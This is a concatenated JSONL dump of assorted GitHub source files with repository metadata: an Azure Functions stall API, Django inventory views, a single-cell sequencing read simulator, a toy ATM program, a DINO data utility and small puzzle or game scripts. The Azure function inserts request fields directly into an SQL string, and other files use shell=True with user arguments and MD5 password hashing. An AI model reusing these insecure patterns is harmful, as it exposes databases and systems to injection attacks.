people',\n 'values': None,\n 'targets': private_industries,\n 'value': None\n })\n\n return options\n\n def filter_industries(self, world, public=False):\n \"\"\"return industries that have firms in them\"\"\"\n return [ind for ind, typ in industries.items() if [f for f in world.firms_of_type(typ) if f.public == public]]\n\n def as_json(self):\n return {\n 'tax_rate': self.tax_rate,\n 'welfare': self.welfare,\n 'welfare_req': self.welfare_req,\n 'subsidies': {k.__name__: v for k, v in self.subsidies.items()}\n }\n\n\nclass ProposalType(IntEnum):\n nationalize = 0\n privatize = 1\n tax_rate = 2\n welfare = 3\n welfare_req = 4\n subsidy = 5\n","repo_name":"frnsys/hosny","sub_path":"economy/government.py","file_name":"government.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"48"} +{"seq_id":"8988372545","text":"import azure.functions as func\r\nimport logging\r\nimport json\r\nimport pyodbc\r\nfrom json import JSONEncoder\r\nimport datetime\r\nfrom db_config import get_pyodbc_connection_string\r\nfrom tenacity import retry, stop_after_attempt, wait_exponential, RetryError\r\nimport time\r\n\r\napp = func.FunctionApp(http_auth_level=func.AuthLevel.ANONYMOUS)\r\n\r\nmax_retries = 3\r\n\r\n# subclass JSONEncoder\r\nclass DateTimeEncoder(JSONEncoder):\r\n #Override the default method\r\n def default(self, obj):\r\n if isinstance(obj, (datetime.date, datetime.datetime)):\r\n return obj.isoformat()\r\n\r\n# Define a decorator with the retry configuration\r\n@retry(\r\n stop=stop_after_attempt(max_retries),\r\n wait=wait_exponential(multiplier=1, max=10)\r\n)\r\ndef connect_to_database():\r\n return pyodbc.connect(get_pyodbc_connection_string())\r\n\r\n@app.function_name(name=\"getStalls\")\r\n@app.route(route=\"stalls\")\r\ndef getStalls(req: func.HttpRequest) -> func.HttpResponse:\r\n try:\r\n logging.info('Python HTTP trigger function processed a request.')\r\n \r\n start_time = time.time()\r\n\r\n req_body = req.get_json()\r\n sort_by = req_body.get('sort_by','stall_name')\r\n sort_direction = 'desc' if req_body.get('desc',False) else 'asc'\r\n offset = req_body.get('offset',0)\r\n limit = req_body.get('limit', 10)\r\n limit = 30 if limit > 30 else limit\r\n \r\n query_str = f\"\"\"\r\n SELECT * FROM burpple_stall_overview\r\n ORDER BY {sort_by} {sort_direction}\r\n OFFSET {offset} ROWS\r\n FETCH NEXT {limit} ROWS ONLY;\r\n \"\"\"\r\n \r\n conn_start_time = time.time()\r\n \r\n with connect_to_database() as conn:\r\n logging.info(f\"Time taken to establish connection: {time.time() - conn_start_time} seconds\")\r\n \r\n cursor = conn.cursor()\r\n \r\n query_start_time = time.time()\r\n \r\n cursor.execute(query_str)\r\n \r\n logging.info(f\"Time taken to execute query: {time.time() - query_start_time} seconds\")\r\n \r\n rows = []\r\n for row in cursor.fetchall():\r\n row_dict = dict(zip([column[0] for column in cursor.description], row))\r\n try:\r\n row_dict['categories'] = json.loads(row_dict.get('categories', ''))\r\n except json.JSONDecodeError:\r\n row_dict['categories'] = []\r\n rows.append(row_dict)\r\n \r\n response = {}\r\n \r\n response['num_results'] = len(rows)\r\n response['results'] = rows\r\n \r\n json_data = json.dumps(response, cls=DateTimeEncoder)\r\n \r\n logging.info(f\"Time taken to process request: {time.time() - start_time} seconds\")\r\n\r\n return func.HttpResponse(\r\n json_data,\r\n status_code=200,\r\n mimetype=\"application/json\"\r\n )\r\n except RetryError as e:\r\n return func.HttpResponse(f\"Error: Unable to establish a database connection after {max_retries} attempts.\", status_code=500)\r\n except Exception as e:\r\n return func.HttpResponse(f\"Error: {str(e)}\", status_code=500)","repo_name":"tanhaoen/hawker-api","sub_path":"function_app.py","file_name":"function_app.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1387505784","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10000000)\nn = int(input())\n\ndata =[]\nmaxvalue = 0\nfor i in range(n):\n x = int(input())\n maxvalue =max(maxvalue ,x)\n data.append(x)\n\ndef solution(data , maxvalue):\n dp = [0]*(maxvalue + 1)\n dp[1]=1\n dp[2]=2\n dp[3]=4\n if maxvalue <= 3:\n return dp\n\n for i in range(4,maxvalue+1):\n dp[i] = (dp[i-1] + dp[i-2] + dp[i-3]) % 1000000009\n return dp\n\ndp = solution(data,maxvalue)\n\nfor i in data:\n print(dp[i])\n\n\n\n\n","repo_name":"Dltmd202/BOJ-ProblemSlove","sub_path":"python/15988/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34136308373","text":"import json\nimport os\n\nfrom django.db import models\nfrom django.db.models import ExpressionWrapper, F, Min\nfrom django.http import (HttpResponse, HttpResponseBadRequest,\n HttpResponseNotAllowed, HttpResponseNotFound,\n JsonResponse)\nfrom django.views import View\n\nfrom inventory.models import Article, ProductArticle\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nfrom inventory.logger import setup_logger\n\n# Setup logging\nlogger = setup_logger(__name__, \" products \")\n\n\nclass ProductView(View):\n \"\"\"\n A view to handle product related requests.\n \"\"\"\n\n def get(self, request, product_id=None):\n \"\"\"\n Returns a JSON response containing a list of products and their stock levels.\n\n If product_id is specified, only the details of that product will be returned.\n\n :param request: The incoming HTTP request object.\n :param product_id: The id of the product to retrieve.\n :return: A JSON response object containing product data.\n \"\"\"\n try:\n # Query the database to get the product name and the minimum stock level of all the articles\n data = (\n ProductArticle.objects.values(\"product_id\", \"product__name\")\n .annotate(\n product_stock=ExpressionWrapper(\n Min(F(\"article__stock\") / F(\"quantity\")),\n output_field=models.IntegerField(),\n )\n )\n .values(\"product_id\", \"product__name\", \"product_stock\")\n )\n\n # Filter the data based on the specified product_id, if present\n if product_id:\n data = data.filter(product_id=product_id)\n\n # If no data exists after filtering, return a 404 response\n if not data.exists():\n return HttpResponseNotFound()\n\n # Convert the query results to the desired response format\n context = {\n \"products\": [\n {\n \"id\": d[\"product_id\"],\n \"name\": d[\"product__name\"],\n \"stock\": d[\"product_stock\"],\n }\n for d in data\n ]\n }\n\n # Return the response as a JSON object\n return JsonResponse(context)\n except ValueError:\n # Return a 400 response for invalid requests\n return HttpResponseBadRequest()\n\n\nDEFAULT_QUANTITY_TO_SELL = 1\n\n\nclass ProductSellView(View):\n \"\"\"\n A view to handle product sales.\n \"\"\"\n\n def put(self, request, product_id):\n \"\"\"\n Handles PUT requests to sell a product.\n\n The request body should contain a 'quantity' field indicating the number of products to sell.\n\n :param request: The incoming HTTP request object.\n :param product_id: The id of the product to sell.\n :return: An HTTP response indicating the success or failure of the sale.\n \"\"\"\n try:\n product_article_entries = (\n ProductArticle.objects.filter(product_id=product_id).values(\"article_id\", \"quantity\", \"product__name\")\n .annotate(\n possible_product_stock=ExpressionWrapper(\n (F(\"article__stock\") / F(\"quantity\")),\n output_field=models.IntegerField(),\n )\n )\n .values(\"article_id\", \"quantity\", \"product__name\", \"possible_product_stock\")\n )\n\n if not product_article_entries:\n return HttpResponse(f\"We're sorry, but we couldn't find a product in our inventory with the ID {product_id}.\")\n\n product_stock = product_article_entries.aggregate(min_possible_product_stock=Min(\"possible_product_stock\"))[\"min_possible_product_stock\"]\n\n given_quantity = (json.loads(request.body).get(\"quantity\", DEFAULT_QUANTITY_TO_SELL) if request.body else DEFAULT_QUANTITY_TO_SELL)\n\n if given_quantity > product_stock or given_quantity < 0:\n return HttpResponseBadRequest(f\"Please enter a valid quantity for product ID {product_id}. We currently have {product_stock} units in stock.\")\n\n\n # For each article, update its stock level based on the quantity sold\n for entry in product_article_entries:\n article_id = entry[\"article_id\"]\n article = Article.objects.get(id=article_id)\n article.stock -= given_quantity * entry[\"quantity\"]\n article.save()\n\n # Return a success response\n return HttpResponse(f\"Product {product_article_entries[0]['product__name']} with quantity {given_quantity} sold successfully.\")\n except (ProductArticle.DoesNotExist, Article.DoesNotExist):\n # Return a 404 response for invalid product or article ids\n return HttpResponseNotFound(\"Invalid product id or article id.\")\n except Exception as e:\n # Return a 405 response for other errors\n return HttpResponseNotAllowed(\"Method not allowed.\")\n","repo_name":"dgupta119/Warehouse","sub_path":"inventory/views/products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":5162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70692452946","text":"#!/usr/bin/python$\n\nimport argparse\nimport subprocess\nimport os\nimport numpy\nimport sys\nimport multiprocessing as mp\n#from gen_tree_overlappingCNA import gen_tree\nfrom gen_readcount import gen_readcount\nfrom gen_readcount import get_beta_dist\n#from Gen_Ref_Fa import make_fa, make_fa_wABs \nfrom Gen_Ref_Fa import get_ref_chr_len_name\nfrom joblib import Parallel, delayed\nfrom tqdm import tqdm\nimport logging\n## set logger\nlogging.basicConfig(\nformat='%(asctime)s %(levelname)-8s %(message)s',\nlevel=logging.INFO,\ndatefmt='%Y-%m-%d %H:%M:%S')\nlogger = logging.getLogger(\" \")\n#from Gen_Ref_Fa import getlen_ref\n\n# given normal genome size (diploid)\n#genome_size = 6.32 * 10^9\n\ndef run_one_seg(dir,fa_f, chr_name, start, end,this_readcount,l,out_fq1,out_fq2):\n # chr_name_array[j]\n\n tmp_fa_file = \"_\".join([dir+'/'+fa_f.split('/')[-1], str(chr_name), str(start), str(end)]) + \".fa\" \n # use samtools faidx to get this sequence that is to be sequenced into reads\n args = \"samtools faidx \" + fa_f + \" \" + chr_name + \":\" + str(start) + \"-\" + str(end) + \" > \" + tmp_fa_file\n# TODO check how many N's \n# conclusion: Popen cannot exit. check_call can. But check_call does not work on all Ns as wgsim does not work on it. \n print(args)\n try:\n subprocess.check_call(args, shell=True)\n except subprocess.CalledProcessError:\n print(\"Cannot work on \" + args) \n\n # check N's\n N_true = check_Ns(tmp_fa_file)\n\n if N_true == 1:\n args = wgsim_dir + \"wgsim -h -N \" + str(this_readcount) + \" -1 \" + str(l) + \" -2 \" + str(l) + \" \" + tmp_fa_file + \" \" + out_fq1 + \" \" + out_fq2\n print(args)\n try:\n subprocess.check_call(args, shell=True)\n except subprocess.CalledProcessError:\n print(\"Cannot work on \" + args) \n\n args = \"rm \" + tmp_fa_file \n try:\n subprocess.check_call(args, shell=True)\n except subprocess.CalledProcessError:\n print(\"Cannot remove \" + tmp_fa_file)\n return \n\n# for both bulk and single-cell sampling purposes\ndef gen_reads(dir, chr_len, chr_name, fq_prefix, cell_i, template_fa, Alpha, Beta, x0, y0, cov, l, window_size, u):\n logger.info(\"Now sequencing cell \" + str(cell_i))\n\n out_fq1 = dir + fq_prefix + \"_1.fq\"\n out_fq2 = dir + fq_prefix + \"_2.fq\"\n os.system('rm '+ out_fq1+' '+out_fq2)\n\n # each chromosome\n for j in range(len(chr_len)):\n \n this_chrlen = chr_len[j]\n readcounts = gen_readcount(dir, Alpha, Beta, x0, y0, cov, l, window_size, u, this_chrlen)\n # each bin\n start = 0\n end = 0\n for k in readcounts:\n this_readcount = k\n # extract this segment of fa\n start = end + 1\n end = start + window_size - 1\n if end > this_chrlen:\n end = this_chrlen\n if start > this_chrlen:\n break\n\n run_one_seg(dir, template_fa, chr_name[j], start, end, k, l, out_fq1, out_fq2)\n\ndef check_Ns(file):\n N_line = 0\n total_line = 0\n with open(file, \"r\") as f:\n for line in f:\n total_line = total_line + 1\n if line.find('N') != -1:\n N_line = N_line + 1\n f.close()\n if total_line != 0 and N_line/float(total_line) > 0.2:\n return 0\n return 1\n\nif len(sys.argv) <= 1:\n print(\"\"\"\n Simulate a set number of normal cells given a genome in fasta format, the coverage of which fluctuates and mimics the real single cell data. \n Usage: python sim_normcells.py -t [ref.fa] -n [number_cells] -S [wgsim_dir]\n -p (--processors) Numbers of processors available.\n -r (--directory) Location of simulated data. The program will remove the whole directory if it already exists. Otherwise it will create one. (default: test)\n -S (--wgsim-dir) The directory of the binary of wgsim. It is in the same folder of this main.py. (need to specify) \n -n (--normal-num) Number of the cells on a level of interest. Always greater than -F treewidth. Treewidth controls the total number of clones whereas cell-num controls the total number of cells sequenced at a certain tree depth. (default: 8)\n -t (--template-ref) The reference file to sequence the reads. \n -o (--outfile) The standard output file, will be saved in output folder, just give the file name. (default: std.out)\n -f (--fq-prefix) The prefix of the fastq names. (default: normal) This is the only line that is different from main.par.overlapping.py.\n -x (--Lorenz-x) The value on the x-axis of the point furthest from the diagonal on the Lorenz curve imitating the real coverage uneveness. (default: 0.5) \n -y (--Lorenz-y) The value on the y-axis of the Lorenz curve imitating the real coverage unevenness. x > y. The closer (x, y) to the diagonal, the better the coverage evenness. (default: 0.4) \n -v (--coverage) The average coverage of the sequence. (default: 0.02)\n -l (--readlen) Read length for each read sequenced. (default: 35bp)\n -w (--window-size) Within a window, the coverage is according to a Gaussian distribution. Neighboring windows' read coverage is according to a Metropolis Hasting process. (default: 200000bp)\n -u (--acceptance-rate) The probability to accept a proposal in Metropolis Hasting. (default: 0.5)\n \"\"\")\n sys.exit(0)\n\nparser = argparse.ArgumentParser(description='Simulate the normal cells whose coverage fluctuates to mimic single cell sequencing . ')\nparser.add_argument('-p', '--processors', default=20)\nparser.add_argument('-r', '--directory', default=\"test\")\nparser.add_argument('-S', '--wgsim-dir', default=\"\")\nparser.add_argument('-n', '--normal-num', default=8)\nparser.add_argument('-t', '--template-ref', default=\"hg19.fa\")\nparser.add_argument('-o', '--outfile', default=\"std.out\")\nparser.add_argument('-f', '--fq-prefix', default=\"normal\")\nparser.add_argument('-x', '--Lorenz-x', default=0.5)\nparser.add_argument('-y', '--Lorenz-y', default=0.4)\nparser.add_argument('-v', '--coverage', default=0.02)\nparser.add_argument('-l', '--readlen', default=35)\nparser.add_argument('-w', '--window-size', default=200000)\nparser.add_argument('-u', '--acceptance-rate', default=0.5)\n\n\nargs = parser.parse_args()\nNUM_OF_PROCESSES = int(args.processors)\ndir = args.directory\nwgsim_dir = args.wgsim_dir\nn = int(args.normal_num)\ntemplate_ref = args.template_ref\noutfile = dir + \"/\" + args.outfile\nfq_prefix = args.fq_prefix\nx0 = float(args.Lorenz_x)\ny0 = float(args.Lorenz_y)\ncov = float(args.coverage)\nl = int(args.readlen)\nwindow_size = int(args.window_size)\nu = float(args.acceptance_rate)\n\n[chr_name, chr_len] = get_ref_chr_len_name(template_ref)\n\nif not os.path.exists(dir):\n subprocess.check_call(\"mkdir \" + dir, shell=True)\n\n[Alpha, Beta] = get_beta_dist(x0, y0)\nprint(\"Number of processes: \" + str(NUM_OF_PROCESSES))\nprint(\"Number of normal cells: \" + str(n))\n\n# start the sequencing\nfor cell_i in range(n):\n # sequence each cell \n os.system(\"mkdir -p \"+dir+'/cell%d/'%cell_i)\n\n # n_thread = 15\nsequences = Parallel(n_jobs=NUM_OF_PROCESSES )(delayed(gen_reads)(dir+'/cell%d/'%cell_i, \n chr_len, \n chr_name,\n fq_prefix,\n cell_i,\n template_ref, \n Alpha, \n Beta, \n x0, \n y0, \n cov, \n l, \n window_size, \n u) for cell_i in tqdm(range(n)))\n\n\n \n","repo_name":"compbiofan/SimSCSnTree","sub_path":"sim_normcells.par.py","file_name":"sim_normcells.par.py","file_ext":"py","file_size_in_byte":7503,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"73994005267","text":"'''\nA media access control address (MAC address) is a unique identifier assigned to network interfaces for communications on the physical network segment.\n\nThe standard (IEEE 802) format for printing MAC-48 addresses in human-friendly form is six groups of two hexadecimal digits (0 to 9 or A to F), separated by hyphens (e.g. 01-23-45-67-89-AB).\n\nYour task is to check by given string inputString whether it corresponds to MAC-48 address or not.\n\nExample\n\nFor inputString = \"00-1B-63-84-45-E6\", the output should be\nsolution(inputString) = true;\nFor inputString = \"Z1-1B-63-84-45-E6\", the output should be\nsolution(inputString) = false;\nFor inputString = \"not a MAC-48 address\", the output should be\nsolution(inputString) = false.\n'''\n\nimport re\ndef solution(inputString):\n l = inputString.split(\"-\")\n if len(l) != 6:\n return False\n for hex in l:\n if re.match(\"^[0-9A-F]{2}$\", hex) == None:\n return False\n return True\n\n\nprint(solution(inputString = \"00-1B-63-84-45-E6\")) # true\nprint(solution(inputString = \"Z1-1B-63-84-45-E6\")) # false\nprint(solution(inputString = \"not a MAC-48 address\")) # false\nprint(solution(inputString = \"-----\")) # false\n\n'''\n유효한 맥어드레스인지 확인하는 문제다.\n역시 정규표현식으로 해도 좋고 조건 하나씩 검사해도 좋을 것이다.\n'''","repo_name":"heosangmin/practiceAlgorithm","sub_path":"codesignal.com/Arcade/cs_47_IsMAC48Address.py","file_name":"cs_47_IsMAC48Address.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19510003505","text":"import hashlib\nimport json\nimport os\nimport re\n\nuser_status = {\"login_status\":False,\"choice\":None,\"username\":\"None\",\"account_balance\":0}\n\nfrom conf import setting\nfrom lib import common\n\njudge = common.judge\nlogin = common.login\nlog_write = common.log_write\n\nbasepath = setting.basepath\nuserinfo2_path = setting.userinfo2_path\n\ndef sign_in():\n \"\"\"\n 2.注册功能\n :return:\n \"\"\"\n while True:\n sign_in_name = input(\"请输入注册名(只能含有字母中文或者数字,不能含有特殊字符):\")\n sign_in_pwd = input(\"请输入注册密码(6~14个字符):\")\n if not sign_in_name.isalnum():\n print(\"无效用户名,请重新输入!\")\n continue\n elif len(sign_in_pwd) < 6 or len(sign_in_pwd) > 14:\n print(\"密码长度错误,请重新输入!\")\n continue\n else:\n userinfo_path = os.path.join(basepath, \"db\", sign_in_name+\".json\")\n with open(userinfo_path,\"a+\",encoding=\"utf-8\") as f:\n f.seek(0)\n for i in f:\n if json.loads(i)[\"name\"] == sign_in_name:\n print(\"用户名重复!\")\n break\n else:\n sign_in_pwd_has = hashlib.md5((sign_in_name+sign_in_pwd).encode(\"utf-8\"))\n f.write(json.dumps({\"name\":sign_in_name,\"pwd\":sign_in_pwd_has.hexdigest(),\"account_balance\":0},\n ensure_ascii=False))\n print(\"注册成功!\")\n break\n\n@judge(user_status)\ndef account_balance(user_status):\n \"\"\"\n 3.查看余额\n :return:\n \"\"\"\n print(f\"用户:{user_status['username']} 当前账户余额:{user_status['account_balance']}\")\n log_write(user_status,\"查看余额\")\n\n@judge(user_status)\ndef save_money(user_status):\n \"\"\"\n 4.存钱功能\n :return:\n \"\"\"\n while True:\n save_money_now = input(\"请输入要存入的钱数:\")\n if re.match(\"[0-9]+\\.*[1-9]*\", save_money_now):\n if re.match(\"[0-9]+\\.*[1-9]*\", save_money_now).group() == save_money_now and float(save_money_now) > 0:\n print(f\"成功存入{save_money_now}元\")\n break\n else:\n print(\"输入金额错误请重新输入!\")\n else:\n print(\"输入金额错误请重新输入!\")\n userinfo_path = os.path.join(basepath, \"db\", user_status[\"username\"] + \".json\")\n with open(userinfo_path, \"a+\", encoding=\"utf-8\") as f, open(userinfo2_path, \"w\", encoding=\"utf-8\") as f1:\n f.seek(0)\n for i in f:\n user_dic = json.loads(i)\n if user_dic[\"name\"] == user_status[\"username\"]:\n user_dic[\"account_balance\"] += float(save_money_now)\n user_status['account_balance'] += float(save_money_now)\n f1.write(json.dumps(user_dic,ensure_ascii=False) + \"\\n\")\n log_write(user_status, f\"存钱{save_money_now}元\")\n os.rename(userinfo_path,\"bak\")\n os.rename(userinfo2_path,userinfo_path)\n os.rename(\"bak\",userinfo2_path)\n\n@judge(user_status)\ndef accoun_trans(user_status):\n \"\"\"\n 5.转账功能\n :return:\n \"\"\"\n flag = True\n while flag:\n trans_money_name = input(\"请输入要转账的用户名:\")\n trans_money_now = input(\"请输入要转出的钱数:\")\n if re.match(\"[0-9]+\\.*[1-9]*\", trans_money_now):\n if re.match(\"[0-9]+\\.*[1-9]*\", trans_money_now).group() == trans_money_now :\n if 0 < float(trans_money_now) < user_status['account_balance']:\n userinfo_path = os.path.join(basepath, \"db\", trans_money_name + \".json\")\n with open(userinfo_path, \"a+\", encoding=\"utf-8\") as f:\n f.seek(0)\n if f.read():\n f.seek(0)\n if json.load(f)[\"name\"] == trans_money_name and trans_money_name != user_status[\"username\"]:\n print(f\"成功向{trans_money_name}转入{trans_money_now}元\")\n flag = False\n break\n else:\n print(\"不能向自己转账!\")\n else:\n f.close()\n os.remove(userinfo_path)\n print(\"输入用户名错误请重新输入!\")\n else:\n print(\"输入金额错误请重新输入!\")\n else:\n print(\"输入金额错误请重新输入!\")\n else:\n print(\"输入金额错误请重新输入!\")\n userinfo_path = os.path.join(basepath, \"db\", user_status[\"username\"] + \".json\")\n with open(userinfo_path, \"a+\", encoding=\"utf-8\") as f, \\\n open(userinfo2_path, \"w\", encoding=\"utf-8\") as f1:\n f.seek(0)\n user_dic = json.load(f)\n user_dic[\"account_balance\"] -= float(trans_money_now)\n user_status['account_balance'] -= float(trans_money_now)\n f1.write(json.dumps(user_dic,ensure_ascii=False))\n os.rename(userinfo_path, \"bak\")\n os.rename(userinfo2_path, userinfo_path)\n os.rename(\"bak\", userinfo2_path)\n userinfo_path = os.path.join(basepath, \"db\", trans_money_name + \".json\")\n with open(userinfo_path, \"a+\", encoding=\"utf-8\") as f, \\\n open(userinfo2_path, \"w\", encoding=\"utf-8\") as f1:\n f.seek(0)\n user_dic = json.load(f)\n user_dic[\"account_balance\"] += float(trans_money_now)\n money_now = user_dic[\"account_balance\"]\n f1.write(json.dumps(user_dic,ensure_ascii=False))\n os.rename(userinfo_path,\"bak\")\n os.rename(userinfo2_path,userinfo_path)\n os.rename(\"bak\",userinfo2_path)\n log_write(user_status, f\"向{trans_money_name}转账{trans_money_now}元\")\n log_write({\"username\": trans_money_name, \"account_balance\": money_now}, f\"收到{user_status['username']}转账{trans_money_now}元\")\n\n@judge(user_status)\ndef account_log(user_status):\n \"\"\"\n 6.查看银行流水\n :return:\n \"\"\"\n log_path = os.path.join(basepath, \"log\", user_status[\"username\"] + \".log\")\n with open(log_path,\"a+\",encoding=\"utf-8\") as f:\n f.seek(0)\n print(f.read())\n f.seek(0)\n if not f.read():\n print(\"当前无操作记录!\")\n\ndef exit_atm():\n \"\"\"\n 7.退出程序\n :return:\n \"\"\"\n print(\"您已退出程序!\")\n exit()\n\nchoice_dict = {\"1\":login,\n \"2\":sign_in,\n \"3\":account_balance,\n \"4\":save_money,\n \"5\":accoun_trans,\n \"6\":account_log,\n \"7\":exit_atm}\n\nmsg = \"\"\"\n1.登录(可支持多个账户(非同时)登录)\n2.注册\n3.查看余额\n4.存钱\n5.转账(给其他用户转钱)\n6.查看账户流水\n7.退出\n请选择功能序号:\"\"\"\n\ndef run():\n while True:\n choice = input(msg)\n user_status[1] = choice\n if user_status[1] in choice_dict:\n choice_dict[user_status[1]]()\n else:\n print(\"输入有误,请重新选择!\")","repo_name":"myin1994/mylearn","sub_path":"个人练习区/大作业/国庆大作业/ATM_my/core/src.py","file_name":"src.py","file_ext":"py","file_size_in_byte":7176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"35089512420","text":"import os\nimport os.path as osp\nimport shutil\nimport time\nimport datetime\n\nimport torch\n\nfrom util.slconfig import SLConfig\n\nclass Error(OSError):\n pass\n\ndef slcopytree(src, dst, symlinks=False, ignore=None, copy_function=shutil.copyfile,\n ignore_dangling_symlinks=False):\n \"\"\"\n modified from shutil.copytree without copystat.\n \n Recursively copy a directory tree.\n\n The destination directory must not already exist.\n If exception(s) occur, an Error is raised with a list of reasons.\n\n If the optional symlinks flag is true, symbolic links in the\n source tree result in symbolic links in the destination tree; if\n it is false, the contents of the files pointed to by symbolic\n links are copied. If the file pointed by the symlink doesn't\n exist, an exception will be added in the list of errors raised in\n an Error exception at the end of the copy process.\n\n You can set the optional ignore_dangling_symlinks flag to true if you\n want to silence this exception. Notice that this has no effect on\n platforms that don't support os.symlink.\n\n The optional ignore argument is a callable. If given, it\n is called with the `src` parameter, which is the directory\n being visited by copytree(), and `names` which is the list of\n `src` contents, as returned by os.listdir():\n\n callable(src, names) -> ignored_names\n\n Since copytree() is called recursively, the callable will be\n called once for each directory that is copied. It returns a\n list of names relative to the `src` directory that should\n not be copied.\n\n The optional copy_function argument is a callable that will be used\n to copy each file. It will be called with the source path and the\n destination path as arguments. By default, copy2() is used, but any\n function that supports the same signature (like copy()) can be used.\n\n \"\"\"\n errors = []\n if os.path.isdir(src):\n names = os.listdir(src)\n if ignore is not None:\n ignored_names = ignore(src, names)\n else:\n ignored_names = set()\n\n os.makedirs(dst)\n for name in names:\n if name in ignored_names:\n continue\n srcname = os.path.join(src, name)\n dstname = os.path.join(dst, name)\n try:\n if os.path.islink(srcname):\n linkto = os.readlink(srcname)\n if symlinks:\n # We can't just leave it to `copy_function` because legacy\n # code with a custom `copy_function` may rely on copytree\n # doing the right thing.\n os.symlink(linkto, dstname)\n else:\n # ignore dangling symlink if the flag is on\n if not os.path.exists(linkto) and ignore_dangling_symlinks:\n continue\n # otherwise let the copy occurs. copy2 will raise an error\n if os.path.isdir(srcname):\n slcopytree(srcname, dstname, symlinks, ignore,\n copy_function)\n else:\n copy_function(srcname, dstname)\n elif os.path.isdir(srcname):\n slcopytree(srcname, dstname, symlinks, ignore, copy_function)\n else:\n # Will raise a SpecialFileError for unsupported file types\n copy_function(srcname, dstname)\n # catch the Error from the recursive copytree so that we can\n # continue with other files\n except Error as err:\n errors.extend(err.args[0])\n except OSError as why:\n errors.append((srcname, dstname, str(why)))\n else:\n copy_function(src, dst)\n\n if errors:\n raise Error(errors)\n return dst\n\ndef check_and_copy(src_path, tgt_path):\n if os.path.exists(tgt_path):\n return None\n\n return slcopytree(src_path, tgt_path)\n\n\ndef remove(srcpath):\n if os.path.isdir(srcpath):\n return shutil.rmtree(srcpath)\n else:\n return os.remove(srcpath) \n\n\ndef preparing_dataset(pathdict, image_set, args):\n start_time = time.time()\n dataset_file = args.dataset_file\n data_static_info = SLConfig.fromfile('util/static_data_path.py')\n static_dict = data_static_info[dataset_file][image_set]\n\n copyfilelist = []\n for k,tgt_v in pathdict.items():\n if os.path.exists(tgt_v):\n if args.local_rank == 0:\n print(\"path <{}> exist. remove it!\".format(tgt_v))\n remove(tgt_v)\n # continue\n \n if args.local_rank == 0:\n src_v = static_dict[k]\n assert isinstance(src_v, str)\n if src_v.endswith('.zip'):\n # copy\n cp_tgt_dir = os.path.dirname(tgt_v)\n filename = os.path.basename(src_v)\n cp_tgt_path = os.path.join(cp_tgt_dir, filename)\n print('Copy from <{}> to <{}>.'.format(src_v, cp_tgt_path))\n os.makedirs(cp_tgt_dir, exist_ok=True)\n check_and_copy(src_v, cp_tgt_path) \n\n # unzip\n import zipfile\n print(\"Starting unzip <{}>\".format(cp_tgt_path))\n with zipfile.ZipFile(cp_tgt_path, 'r') as zip_ref:\n zip_ref.extractall(os.path.dirname(cp_tgt_path)) \n\n copyfilelist.append(cp_tgt_path)\n copyfilelist.append(tgt_v)\n else:\n print('Copy from <{}> to <{}>.'.format(src_v, tgt_v))\n os.makedirs(os.path.dirname(tgt_v), exist_ok=True)\n check_and_copy(src_v, tgt_v)\n copyfilelist.append(tgt_v)\n \n if len(copyfilelist) == 0:\n copyfilelist = None\n args.copyfilelist = copyfilelist\n \n if args.distributed:\n torch.distributed.barrier()\n total_time = time.time() - start_time\n if copyfilelist:\n total_time_str = str(datetime.timedelta(seconds=int(total_time)))\n print('Data copy time {}'.format(total_time_str))\n return copyfilelist\n\n\n ","repo_name":"IDEA-Research/DINO","sub_path":"datasets/data_util.py","file_name":"data_util.py","file_ext":"py","file_size_in_byte":6251,"program_lang":"python","lang":"en","doc_type":"code","stars":1768,"dataset":"github-code","pt":"48"} +{"seq_id":"30537564504","text":"# rock paper scissors game plan\r\n\r\n# first create options to choose\r\noptions = ['rock', 'paper', 'scissors']\r\nimport random\r\n\r\n#create no of turns\r\nwhile True:\r\n try:\r\n turns = int(input('Please choose 3 or 5 : '))\r\n if turns == 3 or turns == 5:\r\n break\r\n continue\r\n \r\n except ValueError:\r\n print('Invalid choice')\r\n\r\n\r\n# how many victories you need to win the game\r\nnecessary_wins = int(turns/2) + 1\r\n\r\n\r\n# main logid of the game\r\n# set the counter\r\nplayer_wins = 0\r\ncomputer_wins = 0\r\n\r\n#main while loop breaks only when someone wins\r\nwhile True:\r\n \r\n # to get the player input\r\n while True:\r\n player = input( \" 'rock','paper','scissors' : \")\r\n if player in options:\r\n break\r\n\r\n computer = random.choice(options)\r\n\r\n\r\n if player == computer:\r\n print ('Its a Tie')\r\n elif player == 'rock' and computer =='paper':\r\n print ('computer wins as paper covers rock')\r\n computer_wins += 1\r\n elif player == 'paper' and computer == 'scissors':\r\n print ('computer wins as scissors cut paper')\r\n computer_wins += 1\r\n elif player == 'scissors' and computer == 'rock':\r\n print ('computer wins as rock smashes scissors')\r\n computer_wins += 1\r\n elif player == 'paper' and computer == 'rock':\r\n print ('player wins as paper covers rock')\r\n player_wins += 1\r\n elif player == 'scissors' and computer == 'paper':\r\n print ('player wins as scissors cut paper')\r\n player_wins += 1\r\n elif player == 'rock' and computer == 'scissors':\r\n print ('player wins as rock smashes scissors')\r\n player_wins +=1\r\n\r\n if player_wins == necessary_wins or computer_wins ==necessary_wins:\r\n break\r\n\r\nif player_wins > computer_wins:\r\n print ('player wins')\r\nelse:\r\n print ('commputer wins')\r\n\r\n\r\nprint (f' You scored: {player_wins} points')\r\n\r\n\r\n\r\n","repo_name":"PhysicianTechie/Udemy-Projects","sub_path":"roack-paper-scissors.py","file_name":"roack-paper-scissors.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} 